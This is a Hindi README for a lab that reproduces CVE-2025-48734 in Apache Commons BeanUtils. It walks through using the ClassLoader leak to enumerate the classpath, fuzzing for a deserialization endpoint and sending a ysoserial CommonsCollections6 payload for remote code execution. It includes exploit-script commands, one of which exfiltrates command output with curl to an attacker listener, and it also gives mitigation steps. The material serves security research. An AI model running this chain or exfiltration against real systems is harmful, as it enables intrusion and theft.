
CVE-2025-48734 - Apache Commons BeanUtils के 1.11.0 से पहले के संस्करणों (और 2.0.0-M2 से पहले की 2.x शाखा) को प्रभावित करता है।
केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए।
यह रिपॉजिटरी Apache Commons BeanUtils में CVE-2025-48734 भेद्यता को पुन: पेश करने और यह पता लगाने के लिए एक नियंत्रित प्रयोगशाला वातावरण प्रदान करता है कि कैसे एक हमलावर कुछ शर्तों के तहत रिमोट कोड निष्पादन (RCE) तक बढ़ सकता है।
CVE-2025-48734 Apache Commons BeanUtils के 1.11.0 से पहले के संस्करणों (और 2.0.0-M2 से पहले की 2.x शाखा) को प्रभावित करता है। समस्या PropertyUtilsBean में है जो नेस्टेड पथों (जैसे, enum.declaringClass) के माध्यम से Java एनम के declaringClass गुण तक पहुँच की अनुमति देता है। सभी एनम java.lang.Enum से getDeclaringClass() विधि प्राप्त करते हैं, जिसे BeanUtils एक नेविगेबल गुण के रूप में उजागर करता है।
एक हमलावर जो getProperty() या getNestedProperty() के कॉल में गुण पथ को नियंत्रित कर सकता है, वह कर सकता है:
ClassLoader का संदर्भ प्राप्त करें (enum.declaringClass.classLoader के माध्यम से)।classLoader.URLs[n] को पुनरावृत्त करके रनटाइम पर लोड सभी JAR की गणना करें।⚠️ महत्वपूर्ण: भेद्यता अकेले सीधे RCE प्रदान नहीं करती। यह
ClassLoaderतक पहुँच प्रदान करती है और क्लासपाथ गणना को सक्षम करती है, जिसे कोड निष्पादन प्राप्त करने के लिए एक असुरक्षित डिसीरियलाइज़ेशन एंडपॉइंट और एक असुरक्षित गैजेट लाइब्रेरी के साथ श्रृंखलित किया जाना चाहिए। विस्तृत एक्सप्लॉइट विश्लेषण अनुभाग देखें।
CVSS स्कोर: 8.8 (उच्च) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
प्रयोगशाला में दो घटक शामिल हैं:
एक Spring Boot सेवा निम्नलिखित एंडपॉइंट्स को उजागर करती है:
GET /api/property?path=<property-path> — PropertyUtilsBean.getNestedProperty() का उपयोग करके बिना सैनिटाइज़ेशन के एक नेस्टेड गुण पढ़ता है। यह CVE का प्रवेश बिंदु है।GET /api/nested-set?path=<path>&value=<value> — नेस्टेड गुण लिखता है (असुरक्षित भी)।POST /api/data/import — कच्चे Java सीरीयलाइज़्ड ऑब्जेक्ट्स (application/octet-stream) स्वीकार करता है और उन्हें बिना सत्यापन के डिसीरियलाइज़ करता है। यह RCE वितरण वेक्टर है।लक्ष्य बीन एक Order ऑब्जेक्ट है जिसमें एक Status एनम है। यह श्रृंखला status.declaringClass.classLoader बनाने की अनुमति देता है।
नोट:
/api/data/importएंडपॉइंट CVE-2025-48734 का हिस्सा नहीं है। इसे एक यथार्थवादी परिदृश्य का अनुकरण करने के लिए शामिल किया गया है जहाँ एक असुरक्षित डिसीरियलाइज़ेशन एंडपॉइंट CVE के साथ सह-अस्तित्व में है। एक वास्तविक एप्लिकेशन में इस प्रकार का एंडपॉइंट पुराने एकीकरणों, आंतरिक API, या गलत कॉन्फ़िगर किए गए मिडलवेयर में दिखाई देता है।
| लाइब्रेरी | संस्करण | श्रृंखला में भूमिका |
|---|---|---|
commons-beanutils | 1.9.4 | CVE-2025-48734 प्रवेश बिंदु |
commons-collections | 3.2.2 | डिसीरियलाइज़ेशन गैजेट श्रृंखला |
chmod +x setup-lab-debian.sh
./setup-lab-debian.sh
स्क्रिप्ट निर्भरताएँ स्थापित करती है, प्रोजेक्ट को संकलित करती है, इसे एक systemd सेवा के रूप में पंजीकृत करती है, और इसे स्वचालित रूप से प्रारंभ करती है। एप्लिकेशन 0.0.0.0:8080 पर सुनता है।
chmod +x kali-lab-tools.sh
./kali-lab-tools.sh <debian_ip> 8080
स्क्रिप्ट निर्भरताएँ स्थापित करती है और ysoserial डाउनलोड करती है।
एक्सप्लॉइट एक एकल स्क्रिप्ट में पूरी तरह से स्वचालित है जो सही चरण क्रम को लागू करता है। प्रत्येक चरण अगले के लिए एक पूर्वापेक्षा है।
cd ~/lab-tools
./exploit.sh <debian_ip> 8080 '<command>'
स्क्रिप्ट status.declaringClass और status.declaringClass.classLoader की जाँच करती है। यदि कोई अवरुद्ध है, तो स्क्रिप्ट रुक जाती है — एप्लिकेशन पैच किया गया है और श्रृंखला आगे नहीं बढ़ सकती।
GET /api/property?path=status.declaringClass
→ "status": "success", "valueClass": "java.lang.Class"
GET /api/property?path=status.declaringClass.classLoader
→ "status": "success", "valueClass": "org.springframework.boot.loader.LaunchedURLClassLoader"
चरण 1 में प्राप्त ClassLoader संदर्भ का उपयोग करके, स्क्रिप्ट सभी लोड JAR को सूचीबद्ध करने के लिए classLoader.URLs[n] को पुनरावृत्त करती है और Commons Collections 3.x की खोज करती है। यदि नहीं मिलता है, तो स्क्रिप्ट रुक जाती है — कोई गैजेट श्रृंखला उपलब्ध नहीं है।
GET /api/property?path=status.declaringClass.classLoader.URLs[0]
→ jar:file:/…/BOOT-INF/classes!/
GET /api/property?path=status.declaringClass.classLoader.URLs[30]
→ jar:file:/…/BOOT-INF/lib/commons-collections-3.2.2.jar!/
गैजेट श्रृंखला की पुष्टि के साथ, स्क्रिप्ट Java सीरीयलाइज़ेशन मैजिक बाइट्स (0xACED0005) भेजकर सामान्य import/sync एंडपॉइंट्स को फ़ज़ करती है और उनके प्रतिक्रिया पैटर्न द्वारा ObjectInputStream.readObject() का प्रयास करने वाले एंडपॉइंट्स की पहचान करती है। यदि कोई एंडपॉइंट नहीं मिलता है, तो स्क्रिप्ट रुक जाती है।
POST /api/data/import (magic bytes)
→ HTTP 200 — endpoint found
ysoserial एक CommonsCollections6 पेलोड उत्पन्न करता है (Java 11+ के लिए सबसे पोर्टेबल) और इसे खोजे गए एंडपॉइंट पर भेजता है।
POST /api/data/import
Content-Type: application/octet-stream
Body: <ysoserial CommonsCollections6 payload>
→ {"status": "success", "class": "java.util.HashSet"}
कमांड डिसीरियलाइज़ेशन के दौरान, प्रतिक्रिया लौटाए जाने से पहले, सर्वर पर निष्पादित होता है। आउटपुट को फ़ाइल पर रीडायरेक्ट करके या HTTP कॉलबैक के माध्यम से बाहर निकाला जा सकता है:
# Write to file
./exploit.sh <ip> 8080 'bash -c {id,}>/tmp/out.txt'
# Then on Debian: cat /tmp/out.txt
# → uid=0(root) gid=0(root) groups=0(root)
# Exfiltrate via HTTP (listener on Kali)
python3 -m http.server 9000
./exploit.sh <ip> 8080 'curl http://<kali_ip>:9000/$(id)'
CVE एक प्रत्यक्ष RCE वेक्टर नहीं है — यह टोही केंद्रबिंदु है जो शेष श्रृंखला को संभव बनाता है:
Without CVE-2025-48734:
→ कोई ClassLoader पहुँच नहीं
→ कोई क्लासपाथ गणना नहीं
→ Commons Collections 3.x की उपस्थिति की पुष्टि करने का कोई तरीका नहीं
→ डिसीरियलाइज़ेशन एंडपॉइंट खोजने का कोई कारण नहीं
→ श्रृंखला शुरुआत में टूट गई
With CVE-2025-48734:
→ ClassLoader उजागर
→ URLs[n] के माध्यम से पूर्ण क्लासपाथ दृश्यमान
→ Commons Collections 3.x की पुष्टि
→ फ़ज़िंग के माध्यम से डिसीरियलाइज़ेशन एंडपॉइंट खोजा गया
→ RCE प्राप्त हुआ
पूर्ण RCE के लिए तीन शर्तों का मेल होना चाहिए:
| शर्त | यह प्रयोगशाला | वास्तविक दुनिया |
|---|---|---|
| BeanUtils < 1.11.0 अपरिष्कृत पथ इनपुट के साथ | ✅ | पुराने ऐप्स में सामान्य |
| क्लासपाथ में गैजेट लाइब्रेरी (CC 3.x) | ✅ | एंटरप्राइज़ Java में लगातार |
Commons BeanUtils को अपग्रेड करें:
| कलाकृति | असुरक्षित | सुरक्षित |
|---|---|---|
commons-beanutils:commons-beanutils | < 1.11.0 | >= 1.11.0 |
org.apache.commons:commons-beanutils2 | < 2.0.0-M2 | >= 2.0.0-M2 |
pom.xml में:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.11.0</version>
</dependency>
दो पूरक शमन:
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
"java.lang.Integer;java.lang.String;!*"
));
BeanUtils को 1.11.0 में अपग्रेड करने के बाद, सेवा को पुन: संकलित और पुनरारंभ करें। एक्सप्लॉइट स्क्रिप्ट चलाएँ — इसे चरण 1 पर रुक जाना चाहिए:
[-] declaringClass bloqueado - aplicacion PARCHEADA. Abortando.
यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है। उन प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, अवैध है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।
| असुरक्षित डिसीरियलाइज़ेशन एंडपॉइंट |
| ✅ |
| कम सामान्य, लेकिन पुराने/मिडलवेयर एकीकरणों में मौजूद |